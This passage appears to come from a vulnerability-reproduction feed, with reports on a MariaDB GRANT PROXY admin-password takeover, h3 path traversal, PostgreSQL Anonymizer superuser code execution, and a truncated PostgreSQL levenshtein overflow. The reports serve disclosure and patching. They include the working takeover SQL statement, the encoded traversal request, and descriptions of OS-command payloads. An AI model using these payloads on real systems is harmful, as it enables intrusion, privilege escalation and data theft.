request. - **Sanitizers/mocks:** No sanitizer, mocked service, reimplemented RouterOS authentication function, or host-only marker was used. The primary oracle is RouterOS SSH authentication plus RouterOS-originated command output, paired with fixed-version rejection. ### Reproduction - Reproduced: 2026-09-24T17:06:18.260Z - Duration: 2055s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00365 # or: pruva-verify CVE-2026-67276 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00365 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00365/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00365 ================================================================================ ## REPRO-2026-00364: MariaDB: USAGE-only user can reset admin password via GRANT PROXY ... IDENTIFIED VIA '' auth-list bypass -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00364 ### Package Information - Name: MariaDB/server - Ecosystem: github - Affected: MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis). - Fixed: MariaDB 12.3.3 (contains MDEV-40470 fix). Use mariadb:12.3.3 docker image for fixed-behavior verification. - Severity: high - CVSS: Unknown - CWE: CWE-284 ### Root Cause # Root Cause Analysis — H1-3876430 / MDEV-40470: MariaDB GRANT PROXY `IDENTIFIED VIA ''` auth-list bypass → admin account takeover ## Summary MariaDB Server's `GRANT PROXY ... IDENTIFIED VIA ` handling contains a privilege-check bypass. In the vulnerable code, `LEX_USER::has_auth()` (sql/structs.h) returns true only when the parsed first auth node has a non-empty plugin name or password text. Supplying an EMPTY first auth node (`IDENTIFIED VIA ''`) makes `has_auth()` return false, so the server skips the access check on the `mysql` system database that normally guards credential changes. However, `replace_user_table()` still persists the ENTIRE parsed auth list onto the target account — including an attacker-controlled SECOND node (`OR mysql_native_password USING PASSWORD('hacked')`). The net effect: any authenticated user holding only the `USAGE` privilege (the weakest possible session) can overwrite the stored credentials of an arbitrary existing account — including a full DBA — and then log in as that account. This is a complete remote account-takeover / privilege-escalation primitive over the normal MySQL TCP protocol. ## Impact - **Component:** MariaDB Server ACL/grant handling (`sql/sql_acl.cc`, `sql/structs.h`, `sql/sql_yacc.yy`). - **Affected versions (confirmed this run):** MariaDB **12.3.2** (Docker `mariadb:12.3.2`, digest `sha256:a02fe89cb597d4375812b2eac90cf9d0775d4686daa7f7cc750ebbcad7525bbc`). The upstream fix (MDEV-40470, commit `dbd60d0ad8daa2d01050346aa50b7b102490e456`) first shipped in released versions 12.3.3 / 11.4.13 / 11.8.9 per the official release notes; earlier release lines without the fix are likewise expected to be affected. - **Risk:** High (H1 triage 8.8). Remote, requires only a valid low-privilege account (`USAGE`), one SQL statement, no user interaction. Consequence: full server compromise via takeover of an `ALL PRIVILEGES ... WITH GRANT OPTION` account. ## Impact Parity - **Disclosed/claimed maximum impact:** privilege escalation — USAGE-only user resets an administrator's password and obtains the admin's full privileges. - **Reproduced impact from this run:** exactly that. On `mariadb:12.3.2` a `USAGE`-only `attacker` executed the claim's `GRANT PROXY` statement, `victim_admin`'s stored credentials were replaced with the attacker-chosen hash, and a fresh TCP login as `victim_admin` with password `hacked` returned `GRANT ALL PRIVILEGES ON *.* ... WITH GRANT OPTION`. - **Parity:** `full`. ## Root Cause - `sql/structs.h` (vulnerable): `bool has_auth() { return auth && (auth->plugin.length || auth->auth_str.length || auth->pwtext.length); }` — an explicitly supplied but EMPTY authentication (`IDENTIFIED VIA ''`) is indistinguishable from "no authentication specified", so the privilege check (access to the `mysql` database / admin-check in the grant path) is skipped. - `sql/sql_yacc.yy` additionally allocated an empty `USER_AUTH()` for `CURRENT_USER()` in `user_maybe_role`, compounding the confusion. - Meanwhile `replace_user_table()` writes the full multi-node auth list to `mysql.user`, so the attacker-controlled second node becomes the victim's credential (`SHOW CREATE USER` afterwards shows `IDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F4...'` = `PASSWORD('hacked')`). - **Fix:** MDEV-40470, commit `dbd60d0ad8daa2d01050346aa50b7b102490e456` ("empty password and empty plugin name don't mean 'authentication was not specified', they mean 'empty authentication was specified'"): `has_auth()` becomes `return auth;` and the empty `USER_AUTH()` allocation in `sql_yacc.yy` is removed. On the fixed build the statement is rejected with `ERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'`. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires Docker only). 2. The script pulls pinned `mariadb:12.3.2` (vulnerable) and `mariadb:12.3.3` (fixed, first release containing `dbd60d0ad8d`), then runs **two fresh vulnerable containers and two fresh fixed containers**. In each container, over the real MySQL TCP protocol (`mariadb --protocol=TCP -h127.0.0.1 -P3306`): - root creates `victim_admin` (`ALL PRIVILEGES ... WITH GRANT OPTION`, password `origpass`) and `attacker` (`USAGE` only, password `attackerpass`); - precondition: attacker's direct `ALTER USER 'victim_admin'@'%' IDENTIFIED BY 'x'` is denied (ERROR 1227), proving the attacker holds no account-management privilege; - attack (as `attacker`): `GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked');` - verification: post-state `SHOW CREATE USER 'victim_admin'@'%'`, fresh TCP logins as `victim_admin` with `hacked`, `wrongpw`, and `origpass`. 3. Expected evidence (vulnerable): statement succeeds; victim's auth replaced by `PASSWORD('hacked')` hash; login with `hacked` succeeds with full privileges; `origpass` no longer works. Expected evidence (fixed): statement rejected with ERROR 1044; victim unchanged; `hacked` login fails, `origpass` login works. ## Evidence - Per-attempt transcripts: `bundle/logs/repro/vuln_attempt_{1,2}.log`, `bundle/logs/repro/fixed_attempt_{1,2}.log`; structured results: `bundle/repro/evidence/{vuln,fixed}_{1,2}.json`; manifest with SHA-256: `bundle/repro/runtime_manifest.json`; session log: `bundle/logs/reproduction_steps.log`. - Key excerpts (vulnerable attempt): - `Grants for attacker@%: GRANT USAGE ON *.* TO 'attacker'@'%'` (precondition) - `ATTACK_STMT_OK` (statement succeeded as USAGE-only user) - `CREATE USER 'victim_admin'@'%' IDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F422B78BE9A02900B231D67662A7DC2A7BF8C4'` (= `PASSWORD('hacked')`) - login with `hacked` → `GRANT ALL PRIVILEGES ON *.* TO 'victim_admin'@'%' ... WITH GRANT OPTION` - login with `wrongpw` and with the ORIGINAL `origpass` → `ERROR 1045` (credentials truly replaced) - Key excerpts (fixed attempt): `ERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'`; victim row unchanged; `hacked` login fails; `origpass` login succeeds. - Result: vulnerable takeovers 2/2, fixed resistances 2/2, script exit 0 on two consecutive runs. - Environment: Docker 27.5.1, `mariadb:12.3.2@sha256:a02fe89c…`, `mariadb:12.3.3@sha256:dd9b303a…`, linux/amd64, no sanitizers involved (pure product behavior at the SQL/TCP boundary). ## Recommendations / Next Steps - Upgrade to MariaDB ≥ 12.3.3 / 11.4.13 / 11.8.9 (or any build containing commit `dbd60d0ad8d`). - The fix approach upstream is correct: treat an explicitly supplied empty auth as an auth change (`has_auth()` → `return auth;`) and stop auto-allocating an empty `USER_AUTH` for `CURRENT_USER()`. - Audit: `SELECT user, host, plugin, authentication_string FROM mysql.user` for unexpected changes; alert on any `GRANT PROXY` executed by non-admin accounts. - Regression test: the upstream `mysql-test/main/grant5.test` MDEV-40470 case covers both `IDENTIFIED VIA 'foo'` and `IDENTIFIED VIA ''` from a USAGE-only user. ## Additional Notes - The script is idempotent: every attempt uses a fresh, uniquely named container that is removed afterwards; a `trap` cleans up on early exit. - The exact statement variant from the H1 report using `ON ''@''` behaves differently (ERROR 1698); the semantically identical variant `ON CURRENT_USER()` used here matches both the upstream regression test (`grant proxy on u1@localhost to u2@localhost identified via ''`) and the original discoverer PoC, and exercises the identical vulnerable code path (`has_auth()` bypass + `replace_user_table()` persisting the full auth list). The attacker-visible outcome — silent overwrite of the victim admin's credentials from a USAGE-only session — is the claim's core and is fully demonstrated. - No crash, sanitizer, or debugger was used; the proof is pure product behavior over the real client/server TCP protocol. ### Reproduction - Reproduced: 2026-09-24T17:06:12.675Z - Duration: 1766s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00364 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00364 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00364/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00364 ================================================================================ ## REPRO-2026-00363: h3 path traversal via unsanitized static file serving pathname -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00363 - CVE: CVE-2026-86253 (https://nvd.nist.gov/vuln/detail/CVE-2026-86253) ### Package Information - Name: h3js/h3 - Ecosystem: github - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) ### Root Cause # Root Cause Analysis: CVE-2026-86253 ## Summary CVE-2026-86253 / GHSA-wr4h-v87w-p3r7 is an unauthenticated path-traversal vulnerability in h3's `serveStatic()` HTTP static-file handler. On the vulnerable Node.js path, an HTTP pathname containing percent-encoded dot segments remains unnormalized until `serveStatic()` calls `decodeURI()`. This changes `%2e%2e` into `..` and passes the resulting traversal identifier to the configured `getMeta()` and `getContents()` callbacks. When those callbacks implement h3's documented filesystem-serving pattern with `path.join()`, the resolved path escapes the static root. In this run, h3 1.15.5 disclosed a unique file placed outside the static directory in two independent HTTP attempts, while h3 1.15.6 returned HTTP 404 to the same request in two fixed negative-control attempts. ## Impact - **Package/component affected:** npm package `h3`, specifically `serveStatic()` in `src/utils/static.ts` on Node.js deployments using the raw request-URL fast path. - **Affected versions:** `< 1.15.6` on the 1.x line and `>= 2.0.0, <= 2.0.1-rc.14` on the 2.x release-candidate line. Patched versions are 1.15.6 and 2.0.1-rc.15. - **Tested vulnerable target:** Published `h3@1.15.5` npm archive, SHA-256 `f99c479e7c12d0ad30c01e32fb76415a5eb8bf5f90ac0a036baf14d3f8432a7d`. - **Tested fixed target:** Published `h3@1.15.6` npm archive, SHA-256 `3b47bca4d3eacae8c61a6cc6a1049ec1c91c9a7cd29c710978977260a2dbe1ee`. - **Risk and consequences:** A remote unauthenticated requester can read files accessible to the Node service account. Potential targets include application source, `.env` files, API or database credentials, private keys, and operating-system files. The advisory rates the issue Moderate (CVSS 3.1 score 5.9), while the submitted ticket labels the operational risk High because confidentiality impact can be substantial. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote arbitrary-file disclosure (`info_leak`) through an h3 `serveStatic` endpoint. - **Reproduced impact from this run:** A real localhost HTTP requester selected `/%2e%2e/private-sentinel.txt`; vulnerable h3 decoded it to `/../private-sentinel.txt`, resolved that outside `public/`, and returned the private sentinel in an HTTP 200 response. - **Parity:** `full`. - **Not demonstrated:** Files that the service account cannot read remain inaccessible. The proof intentionally used a controlled sentinel rather than collecting real credentials or host-sensitive data. No write, code-execution, or privilege-escalation impact was claimed or tested. ## Root Cause The vulnerable statement in `src/utils/static.ts` was: ```ts const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname))); ``` On Node.js, h3 receives request pathnames through srvx's optimized URL path, which preserves percent-encoded dot segments rather than applying WHATWG URL dot-segment normalization. Consequently, the attacker input `/%2e%2e/private-sentinel.txt` reaches `serveStatic()` in encoded form. `decodeURI()` then converts `%2e%2e` into the literal segment `..`, yielding `/../private-sentinel.txt`. Vulnerable h3 performs no subsequent traversal normalization before calling the application-supplied static back end. The documented filesystem callbacks join this identifier with the configured public root, and Node's path resolution selects the sibling private file. Fix commit [`0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d`](https://github.com/h3js/h3/commit/0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d) added `resolveDotSegments()` and applied it immediately after decoding. The script resolves the commit's vulnerable parent as `7791538e15ca22437307c06b78fa155bb73632a6`, verifies that the parent lacks this call, verifies that the fixed commit contains it, and records the exact diff at `bundle/repro/evidence/source_fix.diff`. The fix collapses traversal segments without allowing resolution above the static-root identifier. A distinct later advisory, GHSA-72gr-qfp7-vwhw, concerns a double-decoding bypass through `%252e%252e` and was fixed in 1.15.9. That follow-up is intentionally left for the required variant-analysis stage and does not change the base CVE result against the originally patched 1.15.6 control. ## Reproduction Steps 1. Run `bash bundle/repro/reproduction_steps.sh` from any directory. The script derives its bundle path from its own location or `PRUVA_ROOT`. 2. The script reads `bundle/project_cache_context.json`, uses `/pruva/project-cache/repo` when the prepared cache is available, and otherwise falls back to `bundle/artifacts/h3`. 3. It clones or reuses `https://github.com/h3js/h3`, fetches fix commit `0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d`, resolves its parent, and checks the fixing hunk on both sides. 4. It retrieves and installs the exact published h3 1.15.5 and 1.15.6 archives. The generated Node server uses the real h3 `createApp`, `eventHandler`, `serveStatic`, and `toNodeListener` code with filesystem callbacks. 5. For each attempt, it starts a fresh bounded Node HTTP listener, verifies a legitimate `health.txt` request, then sends the raw pathname `/%2e%2e/private-sentinel.txt` using `curl --path-as-is`. 6. It requires two vulnerable attempts to return HTTP 200 with the out-of-root sentinel and two fixed attempts to return a non-200 response without that sentinel. It exits nonzero on any mismatch. 7. Before success, it writes `bundle/repro/runtime_manifest.json` with target/runtime identity and SHA-256 mappings for every finalized proof artifact. Expected terminal evidence includes: ```text [+] CONFIRMED vulnerable attempt 1: HTTP 200 disclosed CVE-2026-86253-OUTSIDE-STATIC-ROOT-7e82b84d [+] CONFIRMED vulnerable attempt 2: HTTP 200 disclosed CVE-2026-86253-OUTSIDE-STATIC-ROOT-7e82b84d [+] NEGATIVE CONTROL fixed attempt 1: HTTP 404, no sentinel disclosure [+] NEGATIVE CONTROL fixed attempt 2: HTTP 404, no sentinel disclosure ``` ## Evidence - **Runtime manifest:** `bundle/repro/runtime_manifest.json` is strict JSON and binds 22 immutable artifacts by SHA-256. It records `entrypoint_kind=endpoint`, `service_started=true`, `healthcheck_passed=true`, and `target_path_reached=true`. - **Attacker request:** `bundle/repro/evidence/vulnerable_attempt_1_request.txt` records `GET /%2e%2e/private-sentinel.txt HTTP/1.1` across the actual HTTP socket. - **Vulnerable server path:** `bundle/repro/evidence/vulnerable_attempt_1_server.log` records: ```text GET_META id="/../private-sentinel.txt" resolved="/pruva/project-cache/package/h3-cve-2026-86253/runtime/private-sentinel.txt" GET_CONTENTS id="/../private-sentinel.txt" resolved="/pruva/project-cache/package/h3-cve-2026-86253/runtime/private-sentinel.txt" ``` The configured static root is the sibling `runtime/public` directory, so this proves the selected file escaped that root. - **Vulnerable response:** `bundle/repro/evidence/vulnerable_attempt_1_response_headers.txt` records `HTTP/1.1 200 OK`; `bundle/repro/evidence/vulnerable_attempt_1_response_body.txt` contains the exact outside-root sentinel `CVE-2026-86253-OUTSIDE-STATIC-ROOT-7e82b84d`. - **Repeated vulnerable proof:** The independently started second endpoint has equivalent evidence in `bundle/repro/evidence/vulnerable_attempt_2_*`. - **Fixed negative control:** `bundle/repro/evidence/fixed_attempt_1_response_headers.txt` records `HTTP/1.1 404 Not Found`, its body does not contain the sentinel, and `bundle/repro/evidence/fixed_attempt_1_server.log` contains no traversal identifier or private-file callback. Attempt 2 independently repeats this result in `bundle/repro/evidence/fixed_attempt_2_*`. - **Source and target identity:** `bundle/repro/evidence/source_fix.diff` records the exact vendor fix. `bundle/repro/evidence/target_identity.txt` records package digests, source commits, Node v24.18.0, Node executable SHA-256 `41a74efb34cbde5c7632cdac0cf8bd1a14d0b8d73dc1e82755014d9a9ce70f5c`, Linux, and x86_64. - **Diagnostic log:** `bundle/logs/reproduction_steps.log` records the complete most recent script execution but is deliberately not hashed while an active `tee` is writing it. ## Recommendations / Next Steps - Upgrade the 1.x package line to at least h3 1.15.9, not merely 1.15.6, so both the original CVE and the later double-decoding bypass are addressed. On the 2.x line, use a release that includes both hardening changes rather than a pre-fix release candidate. - Canonicalize the decoded URL path exactly once before any static-backend callback and reject or collapse `.` and `..` segments before filesystem or URL resolution. - Treat callback implementations as untrusted with respect to containment: resolve the candidate path to an absolute path and prove it lies beneath the configured root with separator-aware logic before opening it. - Add regression coverage for lowercase/uppercase percent-encoded dots, single- and double-encoded traversal, encoded separators, mixed separators, repeated slashes, root underflow, query strings, prefixes resembling the root, and non-filesystem static back ends. - Retain a fixed-version HTTP negative control in integration tests; unit testing only `resolveDotSegments()` would not cover the raw Node request-URL boundary and decoding order. ## Additional Notes - **Idempotency:** The final script passed twice consecutively in this run. Each script invocation itself starts two clean vulnerable and two clean fixed listeners; thus the final evidence represents four independent service processes per invocation. - **Real boundary:** This is not a direct call to `serveStatic()`. The attacker-controlled bytes cross a real Node TCP/HTTP listener and flow through h3's request-event and static-serving path before filesystem access. - **Sanitizers:** None were used or needed; information disclosure was directly visible in the HTTP response. - **Limitations:** The proof targets Linux/Node and the vulnerable 1.x line. The advisory notes that runtimes supplying an already normalized WHATWG `URL` may not follow the vulnerable Node fast path. The exact follow-up `%252e%252e` bypass belongs to variant analysis. ### Reproduction - Reproduced: 2026-09-24T17:06:06.960Z - Duration: 1307s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00363 # or: pruva-verify CVE-2026-86253 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00363 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00363/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00363 ================================================================================ ## REPRO-2026-00362: PostgreSQL Anonymizer ≤3.1.3 arbitrary code execution as extension superuser via crafted masking constructs -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00362 - CVE: CVE-2026-19633 (https://nvd.nist.gov/vuln/detail/CVE-2026-19633) ### Package Information - Name: postgresql_anonymizer (PostgreSQL extension, Rust/pgrx since v2.0) - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-94 (Improper Control of Generation of Code ('Code Injection')) ### Root Cause # RCA Report — CVE-2026-19633 ## Summary PostgreSQL Anonymizer (`postgresql_anonymizer`, extension name `anon`) up to version 3.1.3 fails to fully validate the expressions contained in masking rules at the moment the rules are declared. The rule validator (`src/input.rs::check_function` driving `src/walker.rs::is_untrusted_walker`) only inspects `T_FuncCall` parse-tree nodes and resolves them against the "trusted schema / trusted function" policy. Three classes of attacker-crafted constructs reach masking-time evaluation without ever being inspected: a **custom operator** (an `A_Expr` node whose operator resolves to an attacker-defined function), a **domain cast** (a `TypeCast` through an attacker-defined `DOMAIN` whose `CHECK` constraint calls attacker code), and a **view subquery / rangevar** (a sub-`SELECT` over an attacker-owned view whose body calls attacker code). Because masking (static masking via `anon.anonymize_table()`, parallel static masking, replica masking, etc.) is normally executed by the extension superuser, these untrusted expressions are evaluated **in the superuser security context**, giving the unprivileged masked user arbitrary code execution and full superuser escalation. ## Impact - **Package/component**: `postgresql_anonymizer` (GitLab project `dalibo/postgresql_anonymizer`), the `anon` PostgreSQL extension. Root cause lives in the Rust/pgrx core: `src/input.rs`, `src/walker.rs` (`is_untrusted_walker`), and the static-masking engine (`src/static_masking.rs`). - **Affected versions**: ≤ 3.1.3 (all 3.x releases; the release-notes classify the risk as very high on PostgreSQL 14 and instances upgraded from PostgreSQL 14 or earlier, where `CREATE` on schema `public` is granted by default). - **Risk level**: High, CVSS 8.8. An unprivileged masked database user (any role owning a schema/table, i.e. anyone allowed to declare masking rules) obtains arbitrary code execution with the privileges of the extension superuser — both SQL superuser (e.g. `ALTER ROLE ... WITH SUPERUSER`) and OS-level command execution as the `postgres` server user (e.g. `COPY ... TO PROGRAM`). ## Impact Parity - **Disclosed/claimed maximum impact**: arbitrary code execution as the extension superuser (CVSS 8.8, "unprivileged masked users can execute arbitrary code ... malicious code can run with elevated privileges"). - **Reproduced impact from this run** (full end-to-end, production path, non-sanitized): all three attack primitives (custom operator, domain cast, view subquery) hidden inside accepted masking rules were evaluated in the superuser security context when the superuser applied the masking policy. Each payload executed `COPY ... TO PROGRAM` (a superuser-only OS command execution capability) and wrote marker files as the `postgres` OS user, and the operator payload additionally executed `ALTER ROLE attacker WITH SUPERUSER`, turning the unprivileged attacker into a superuser. The fixed build fails closed with the `anon.nosuperuser` barrier error and produces no markers and no escalation. - **Parity**: `full` (claimed code-execution impact reproduced exactly, via the real PostgreSQL SQL endpoint of a real `postgres:17` server running the real extension). ## Root Cause `SECURITY LABEL FOR anon ON COLUMN ... IS 'MASKED WITH FUNCTION '` is validated when the label is created (`src/input.rs::check_function`): 1. the top-level node must be a `T_FuncCall`; 2. when `anon.restrict_to_trusted_schemas` is on (default), the expression tree is walked with `src/walker.rs::is_untrusted_walker`, which — for each `T_FuncCall` node only — resolves the (schema-qualified) function name and rejects it unless the function is labelled `TRUSTED` or lives in a trusted schema. `is_untrusted_walker` never resolves **operators** (`A_Expr` nodes), never follows **casts to user-defined types/domains** (whose `CHECK` constraints execute user-defined functions), and never expands **rangevars** (views) referenced by subqueries. Consequently a rule such as ```sql MASKED WITH FUNCTION pg_catalog.int4(i OPERATOR(attack.*) 2) ``` passes validation although `attack.*` is an operator implemented by the attacker's untrusted `plpgsql` function. At masking time the rule text is spliced verbatim into the masking statement (static masking: `UPDATE
SET i = pg_catalog.int4(i OPERATOR(attack.*) 2)` executed via SPI by whoever runs `anon.anonymize_table()`, in practice the extension superuser), so the untrusted function runs with full superuser privileges. The maintainers concluded that this static, parse-time validation approach is structurally unsustainable ("some information is not available until runtime") and replaced the attempt with a privilege barrier: [fix commit `6f102520a86bd9a9075e751d7674afb93ba7db10`] "**CVE-2026-19633: Escalation via custom types, operators and rangevars**", released in 3.2.0 (advisory wording "3.1.4 and later"). The fix adds the `anon.nosuperuser` GUC (default `on`) which makes static, parallel static, dynamic and replica masking **error out when run by a superuser** (`src/error.rs::should_not_be_superuser`), delegating the protection to PostgreSQL's own ACLs / least-privilege model instead of trying to validate untrusted expressions. ## Reproduction Steps 1. Script: `bundle/repro/reproduction_steps.sh` (self-contained; run with `bash bundle/repro/reproduction_steps.sh`, optionally with `PRUVA_ROOT=`). 2. What the script does: - resolves the source (prepared project cache mirror or GitLab) and anchors both commits: vulnerable `d6989f5358131159f00f60860d744df2c685918c` (= parent of the fix; verify: vulnerable tree lacks the fix hunk, fixed tree contains it); - builds one Docker image from `postgres:17` that compiles the extension twice with the upstream build (`make extension install PGVER=pg17`, Rust + pgrx 0.19.1): `/opt/anon-vuln` and `/opt/anon-fixed`; - for each variant, twice (fresh containers `a1`/`a2`), starts a **real PostgreSQL 17 server** (`shared_preload_libraries=anon`), waits for the TCP healthcheck (`pg_isready -h 127.0.0.1`), then drives the whole attack through the **real SQL endpoint** (`psql -h 127.0.0.1`): 1. superuser: `CREATE EXTENSION anon CASCADE` + standard `SECURITY LABEL ... pg_catalog.int4/upper ... IS 'TRUSTED'`; 2. unprivileged attacker role: creates schema/table, the three payload functions, a custom operator, a domain with a malicious `CHECK`, and a malicious view; declares the three crafted masking rules (they are **accepted** — this is the bypass); 3. superuser: `SELECT anon.anonymize_table('attack_.t')` — in the vulnerable build the payloads run with superuser privileges; in the fixed build this fails closed with the `anon.nosuperuser` error; 4. evidence: `pg_roles.rolsuper` of the attacker, marker files inside the container (`/tmp/pruva_marker_{operator,domain,view}_`), loader evidence (installed `anon.so` md5 matches the variant build, `SHOW shared_preload_libraries` = `anon`); - writes `bundle/repro/runtime_manifest.json` and `bundle/repro/validation_verdict.json` and exits 0 only if both vulnerable attempts escalate (markers + superuser) and both fixed attempts fail closed (error message, no markers, no escalation). 3. Expected evidence of reproduction: - vulnerable trigger returns `t` from `anon.anonymize_table()`; the three raw single-line marker files `CVE-2026-19633-RCE-{operator,domain,view}-` exist (extracted with `docker cp`, exact bytes) plus `uid=999(postgres)` files proving the OS user of the server executed them; `pg_roles.rolsuper = 1` for the attacker role; - fixed trigger raises `ERROR: Anon: Static and dynamic masking cannot be used with a superuser if anon.nosuperuser is set to true.` with all three markers absent and `rolsuper = 0`. ## Evidence - Per-attempt transcripts (immutable, listed in `runtime_manifest.json`): `bundle/repro/proof/{vuln,fixed}_{a1,a2}_{session,markers,loader}.txt` - Diagnostic logs: `bundle/logs/reproduction_steps.log`, `bundle/logs/docker_build.log` - Key excerpts (vulnerable attempt): - `proof/vuln_a1_marker_operator.txt` (exact marker bytes): `CVE-2026-19633-RCE-operator-a1`, and the same for `_domain_` / `_view_`; `proof/vuln_a1_uid_operator.txt` contains `uid=999(postgres)`, proving the payload ran as the PostgreSQL server OS user; - `proof/fixed_a1_negative_control_observation.json`: strict negative-control observation (target path reached, marker absent) - `proof/vuln_a1_evidence.txt`: ` attacker_a1 | 1` (unprivileged attacker became SUPERUSER) - `proof/fixed_a1_trigger.txt`: `ERROR: Anon: Static and dynamic masking cannot be used with a superuser if anon.nosuperuser is set to true.` - Environment: Ubuntu 26.04 host, Docker, `postgres:17` (PostgreSQL 17.11 Debian), `postgresql_anonymizer` built from commit `d6989f5358131159f00f60860d744df2c685918c` (vulnerable) and `6f102520a86bd9a9075e751d7674afb93ba7db10` (fixed), Rust stable + cargo-pgrx 0.19.1, no sanitizers. ## Recommendations / Next Steps - **Upgrade** `postgresql_anonymizer` to 3.2.0+ (advisory: "3.1.4 and later"; the actual fix commit shipped in 3.2.0). Keep `anon.nosuperuser = on` (default) so no superuser can execute any masking strategy. - Run masking jobs (static/parallel/replica) with a dedicated least-privilege role, never with a superuser; the extension now enforces this. - Where `pg_catalog` functions must be used in rules, prefer explicit `TRUSTED` labels over loosening `anon.restrict_to_trusted_schemas`. - Testing recommendation: adopt the upstream regression tests `elevation_via_custom_operator`, `elevation_via_type`, `elevation_via_rangevar` (added with the fix) into CI for all supported PostgreSQL majors. ## Additional Notes - **Idempotency**: the script is re-runnable: Docker layer caching makes the second run fast, containers/attempt work dirs are removed before each attempt, marker names are per-attempt, and both `runtime_manifest.json` and `validation_verdict.json` are rewritten deterministically. Verified by running the script twice consecutively (both runs exit 0 with identical verdicts). - **Attack preconditions** (all satisfied in the PoC, matching the advisory): the attacker is an unprivileged `LOGIN` role with `CREATE` on some schema (table owner ⇒ may declare masking rules); a superuser later executes the masking policy. The `TRUSTED` labels on `pg_catalog.int4`/`pg_catalog.upper` are a benign superuser-side configuration step (documented feature), not part of the attack. - The advisory's reproduction plan mentions dynamic masking; the superuser-context evaluation path demonstrated here (and in the vendor's own regression tests for this CVE) is the static-masking application (`anon.anonymize_table()`), which is exactly the code path the fix guards with `anon.nosuperuser`. The rule-validation bypass itself is identical for every masking strategy that consumes the same rule store. - Companion CVEs fixed in the same release cycle but **not** part of this ticket: CVE-2026-83534 (parallel masking elevation) and CVE-2026-19634 (import function SQL injection) — both are already fixed in the vulnerable anchor commit used here (`6f10252^`), which isolates CVE-2026-19633. ### Reproduction - Reproduced: 2026-09-24T17:05:59.767Z - Duration: 4372s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00362 # or: pruva-verify CVE-2026-19633 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00362 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00362/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00362 ================================================================================ ## REPRO-2026-00361: PostgreSQL fuzzystrmatch integer wraparound: levenshtein()/levenshtein_less_equal() overflow leads to OOB writes to effectively-arbitrary addresses (potential RCE) -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00361 - CVE: CVE-2026-15742 (https://nvd.nist.gov/vuln/detail/CVE-2026-15742) ### Package Information - Name: postgres/postgres - Ecosystem: github - Affected: <18.6, <17.11, <16.15, <15.19, <14.24 - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-190 (Integer Overflow or Wraparound) ### Root Cause # CVE-2026-15742 — Root Cause Analysis ## Summary PostgreSQL's `src/backend/utils/adt/levenshtein.c` computes Levenshtein distances with 32-bit `int` arithmetic. The contrib/fuzzystrmatch SQL functions `levenshtein()` and `levenshtein_less_equal()` accept caller-supplied signed int32 insertion/deletion/substitution costs, so a low-privilege authenticated SQL user can force signed-integer wraparound. In `varstr_levenshtein_less_equal()` the wraparound corrupts the bounded-window arithmetic (`slack_d = max_d - min_theo_d; stop_column = best_column + slack_d/(ins_c+del_c) + 1`), producing a negative `stop_column`. The row loop then executes `prev[stop_column] = max_d + 1` — a 4-byte out-of-bounds write at an attacker-tunable offset from the heap-allocated row buffer, with an attacker-chosen 32-bit value. This is reachable with `CREATE EXTENSION fuzzystrmatch` (not enabled by default) by any role holding the default PUBLIC execute grant. ## Impact - Package/component: PostgreSQL, contrib/fuzzystrmatch (`levenshtein`, `levenshtein_less_equal`; core code in `src/backend/utils/adt/levenshtein.c`). - Affected versions: < 18.6, < 17.11, < 16.15, < 15.19, < 14.24. Reproduced on the official `postgres:17.10` release image. - Risk: CVSS 8.8 (AV:N/AC:L/PR:L/UI:N). **Demonstrated: arbitrary command execution as the PostgreSQL OS user** (uid=999(postgres)) from a low-privilege authenticated SQL session on the non-sanitized release build (`postgres:17.10`), via `system("id>x" / "w>y")` invoked through a hijacked memory-context vtable, creating marker files `/var/lib/postgresql/data/x and data/y@` containing the `id` output. 2/2 vulnerable runs produced the marker; the fixed build (17.11) rejects all inputs with `ERROR: levenshtein distance out of range` and creates none. ## Impact Parity - Disclosed/claimed maximum impact: code execution ("writes effectively-arbitrary addresses", potential RCE). - Reproduced impact this run: memory corruption / OOB write, with three evidence-backed primitives on the **non-sanitized release build**: 1. Far relative write: `stop_column = 